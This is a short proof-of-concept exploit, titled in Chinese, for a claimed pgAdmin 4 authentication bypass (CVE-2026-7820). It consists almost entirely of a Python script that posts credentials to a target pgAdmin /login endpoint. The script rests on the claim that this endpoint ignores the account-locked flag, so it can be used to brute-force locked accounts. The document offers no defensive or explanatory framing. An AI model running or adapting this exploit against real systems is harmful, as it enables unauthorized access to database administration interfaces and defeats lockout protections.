CVE-2026-7820 pgAdmin 4认证绕过漏洞

import requests # Target URL (Flask-Security default login endpoint) target_url = "http://target-pgadmin-instance/login" # Credentials for an INTERNAL authentication source account payload = { "email": "[email protected]", "password": "guessable_password" } # The /login endpoint does not check the User.locked field # allowing brute-force attacks even if the account is locked via /authenticate/login response = requests.post(target_url, data=payload) if response.status_code == 200 or "dashboard" in response.text: print("[+] Login successful! Authentication bypassed.") else: print("[-] Login failed.")